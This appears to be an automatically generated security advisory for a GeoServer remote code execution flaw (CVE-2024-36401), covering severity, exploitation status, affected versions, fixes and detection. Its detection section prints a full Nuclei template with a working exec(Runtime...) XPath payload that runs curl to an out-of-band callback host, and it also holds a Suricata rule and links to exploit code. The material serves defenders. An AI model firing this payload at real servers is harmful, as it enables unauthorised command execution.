CVE-2024-36401: OSGeo GeoServer GeoTools Eval Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions 2.22.6, 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. The GeoTools library API that GeoServer calls evaluates property/attribute names for feature types in a way that unsafely passes them to the commons-jxpath library which can execute arbitrary code when evaluating XPath expressions. This XPath evaluation is intended to be used only by complex feature types (i.e., Application Schema data stores) but is incorrectly being applied to simple feature types as well which makes this vulnerability apply to **ALL** GeoServer instances. No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests. This vulnerability can lead to executing arbitrary code. Versions 2.22.6, 2.23.6, 2.24.4, and 2.25.2 contain a patch for the issue. A workaround exists by removing the `gt-complex-x.y.jar` file from the GeoServer where `x.y` is the GeoTools version (e.g., `gt-complex-31.1.jar` if running GeoServer 2.25.1). This will remove the vulnerable code from GeoServer but may break some GeoServer functionality or prevent GeoServer from deploying if the gt-complex module is needed.
Description quoted from the CVE record (assigned by GitHub_M, published 2024-07-01).
Weakness: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’)
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2024-07-15
- US federal deadline
- 2024-08-05
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2024-04974, CNNVD-202407-085, CNVD-2024-30085, EUVD-2024-2280, GHSA-6jj6-gm7p-fcvv
VEDAS cluster: VEDAS:AARDVARKARCH
Exploit Observer links 42 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (42)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Metasploit module: https://www.rapid7.com/db/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401/
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-36401.yaml
- Code repository: https://github.com/0x0d3ad/CVE-2024-36401/activity?ref=main
- Code repository: https://github.com/0x0d3ad/cve-2024-36401
- Code repository: https://github.com/amoy6228/cve-2024-36401_geoserver_rce_poc
- Code repository: https://github.com/arcticdu/exploit-cve-2024-36401
- Code repository: https://github.com/azurejelly/cve-2024-36401-win
- Code repository: https://github.com/basesixtythree/b63-poc-cve-2024-36401
- Code repository: https://github.com/bigb0x/cve-2024-36401
- Code repository: https://github.com/bmth666/geoserver-tools-cve-2024-36401
- Code repository: https://github.com/cochaviz/cve-2024-36401-poc
- Code repository: https://github.com/danielegiovanardi2408/cve-2024-36401-geoserver-rce
- and 30 more
Research and write-ups (3)
- Research or write-up: https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401
- Research or write-up: https://socprime.com/blog/latest-threats/detect-attack-using-cve-2024-36401-aa25-266a-cisa-alert
- Research or write-up: https://www.rapid7.com/db/vulnerabilities/geotools-complex-cve-2024-36401
Vulnerability databases and vendor advisories (13)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2024-36401
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-2280
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-36401
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2024-36401
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-6jj6-gm7p-fcvv
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-36401
- Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202407-085
- Vulnerability database or vendor advisory: https://www.cnvd.org.cn/flaw/show/CNVD-2024-30085
- Vulnerability database or vendor advisory: https://www.tenable.com/cve/CVE-2024-36401
- Vulnerability database or vendor advisory: https://www.vicarius.io/vsociety/posts/cve-2024-36401-remediate-rce-vuln-in-geoserver
- Vulnerability database or vendor advisory: https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401
- and 1 more
News (1)
- News: https://securityaffairs.com/168197/malware/geoserver-geotools-flaw-cve-2024-36401-malware.html
198 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.998
very likely to be attacked soon - VEDAS
- 0.982
strong exploit evidence - On CISA KEV
- Yes, since 2024-07-15
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| geoserver geoserver | version >= 2.23.0, < 2.23.6 version >= 2.24.0, < 2.24.4 version >= 2.25.0, < 2.25.2 version < 2.22.6 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: geoserver geoserver, maven org.geoserver.web:gs-web-app, maven org.geoserver:gs-wfs, maven org.geoserver:gs-wms, osgeo geoserver.
How to fix it
CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv,
- https://github.com/geotools/geotools/pull/4797
- https://nvd.nist.gov/vuln/detail/CVE-2024-36401
How to detect it
Nuclei template (active check)
Geoserver - Remote Code Execution
GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions 2.22.6, 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPrevie..., GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&t...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using regex, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2024-36401.yamlShow the template (59 lines)
id: CVE-2024-36401
info:
name: "Geoserver - Remote Code Execution"
author: vedas-arpsyndicate
severity: critical
description: |
GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions
2.22.6, 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by
unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely
evaluating property names as XPath expressions.
reference:
- https://www.exploit.observer/?keyword=CVE-2024-36401&match=exact
- https://subdomain.center/?engine=ammonites&keyword=geoserver&match=exact
classification:
cve-id: CVE-2024-36401
metadata:
verified: false
tags: cve,cve2024,geoserver,rce,unauth,kev,vkev,vuln
flow: |
if(http(1))
{
set("name",template.typename[0])
http(2)
}
http:
- raw:
- |
GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage HTTP/1.1
Host: {{Hostname}}
host-redirects: true
extractors:
- type: regex
name: typename
part: body
group: 1
regex:
- typeName=([^&\]]+)
internal: true
- raw:
- |
@timeout 20s
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{name}}&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+{{interactsh-url}}') HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: content_type
words:
- "application/xml"
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-36401 Geoserver - Remote Code Execution. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-36401 Geoserver - Remote Code Execution"; flow:established,to_server; http.uri; content:"geoserver"; nocase; content:"')"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-36401; reference:url,https://www.exploit.observer/?keyword=CVE-2024-36401&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=geoserver&match=exact; sid:1009459; rev:1;)
CVE-2024-36401.rules on GitHub
Advisories on this CVE
- Romania ANCPI (national cadastre and land registry): data stolen, systems and backups wiped, property market halted (14 Jul 2026)
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-36401 (government-resource)
Other references
- https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv (x_refsource_CONFIRM)
- https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w (x_refsource_MISC)
- https://github.com/geotools/geotools/pull/4797 (x_refsource_MISC)
- https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852 (x_refsource_MISC)
- https://osgeo-org.atlassian.net/browse/GEOT-7587 (x_refsource_MISC)
- https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.